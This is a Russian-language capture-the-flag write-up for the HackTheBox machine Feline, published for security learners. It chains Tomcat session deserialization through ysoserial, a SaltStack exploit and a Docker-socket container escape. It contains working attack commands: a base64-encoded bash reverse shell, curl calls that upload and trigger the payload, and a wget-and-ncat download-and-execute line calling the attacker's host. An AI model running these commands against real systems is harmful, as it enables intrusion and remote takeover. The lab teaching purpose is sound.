![](https://habrastorage.org/getpro/habr/upload_files/31c/c58/5c7/31cc585c78b2ae0751e82cddcd75774e.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
PWN;
криптография (Crypto);
cетевые технологии (Network);
реверс (Reverse Engineering);
стеганография (Stegano);
поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).
Recon
Данная машина имеет IP адрес 10.10.10.205, который я добавляю в /etc/hosts.
10.10.10.205 feline.htb
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
![](https://habrastorage.org/getpro/habr/upload_files/a4c/b30/cd9/a4cb30cd94ebf0823e7dac1956447c23.png)
Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.
![](https://habrastorage.org/getpro/habr/upload_files/8fc/bdd/cd9/8fcbddcd9c67885167153c262293e45d.png)
Плюс ко всему, мы находим уязвимость для данной версии веб сервера.
![](https://habrastorage.org/getpro/habr/upload_files/212/c41/f4a/212c41f4a87f7bcf1bd29cb8bceea475.png)
Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сериализованный java-код.
![](https://habrastorage.org/getpro/habr/upload_files/c23/e58/5c5/c23e585c5b598123cd1062383199ddfa.png)
Entry Point
Просто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.
![](https://habrastorage.org/getpro/habr/upload_files/3f0/9ea/54d/3f09ea54d75b511cfdf2ccea637a6d13.png)
Для сериализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта.
USER
Сначала сам шелл, закодированный в base64.
#!/bin/bash
rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'"
code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"
Теперь сериализуем его.
java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session
Загружаем файл.
curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null
И выполняем бэкконнект.
curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null
![](https://habrastorage.org/getpro/habr/upload_files/f67/431/969/f6743196960ca24daf73fbdb01773366.png)
![](https://habrastorage.org/getpro/habr/upload_files/24b/c52/687/24bc5268766042ad4a9d76a6236bf0b8.png)
Так мы берем пользователя.
Docker ROOT
Для разведки на хосте используем LinPEAS. Мы находим интересные сетевые интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.
![](https://habrastorage.org/getpro/habr/upload_files/c48/570/4a0/c485704a03ca193751bb58d92ac7ce02.png)
![](https://habrastorage.org/getpro/habr/upload_files/2ac/b7f/6d9/2acb7f6d940ed89eec5878945619b2de.png)
Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.
![](https://habrastorage.org/getpro/habr/upload_files/80d/53d/221/80d53d221a8ecb8c1664e97cd6e4bae2.png)
И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.
chisel.bin server -p 56765 --reverse
![](https://habrastorage.org/getpro/habr/upload_files/381/c28/c36/381c28c366b0385fd37d30adbd9546f4.png)
И выполним коннект с удаленного хоста.
chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506
![](https://habrastorage.org/getpro/habr/upload_files/418/2cf/808/4182cf8085e739fdbd7c04bd36409a64.png)
Как можно заметить, мы туннелируем порт.
![](https://habrastorage.org/getpro/habr/upload_files/a1c/722/891/a1c722891269acb440b72c6377ac95ff.png)
Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.
python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"
![](https://habrastorage.org/getpro/habr/upload_files/64a/48b/6e3/64a48b6e3dcc7bf7d0995d79a092a979.png)
![](https://habrastorage.org/getpro/habr/upload_files/c30/bcd/070/c30bcd0704f021d0287505bdbaab0710.png)
И у нас есть рут в докере.
ROOT
Для разведки в докер контейнере используем deepce.
![](https://habrastorage.org/getpro/habr/upload_files/70f/036/092/70f036092f781a3e382f31901047a214.png)
И видим, что есть докер сокет. Давайте получим информацию о контейнере.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
![](https://habrastorage.org/getpro/habr/upload_files/e85/17c/068/e8517c06826ed72e0ab7361907244a81.png)
И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.
{
"Image": "188a2704d8b0",
"Cmd": [
"/bin/sh"
],
"DetachKeys": "Ctrl-p,Ctrl-q",
"OpenStdin": true,
"Mounts": [
{
"Type": "bind",
"Source": "/",
"Target": "/r4lf"
}
]
}
![](https://habrastorage.org/getpro/habr/upload_files/b01/92b/2d6/b0192b2d65feeca5f851b2f23d59255c.png)
А теперь создаем новый контейнер.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
![](https://habrastorage.org/getpro/habr/upload_files/8b7/eb6/91c/8b7eb691cdec4db1fef7d5340b423b5f.png)
Запускаем его и подключаемся к нему, используя Socat.
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/start
socatx64.bin - UNIX-CONNECT:/var/run/docker.sock
Далее необходимо отправить следующий пост запрос.
POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
Таким образом наша система будем монтирована как /r4lf.
![](https://habrastorage.org/getpro/habr/upload_files/e09/b56/a91/e09b56a91b0d45b4ded7831c69d5249b.png)
Tathagata
Я понимаю, что ИБ — это прекрасно, но исправьте орфографические ошибки хотя бы в заголовке статьи.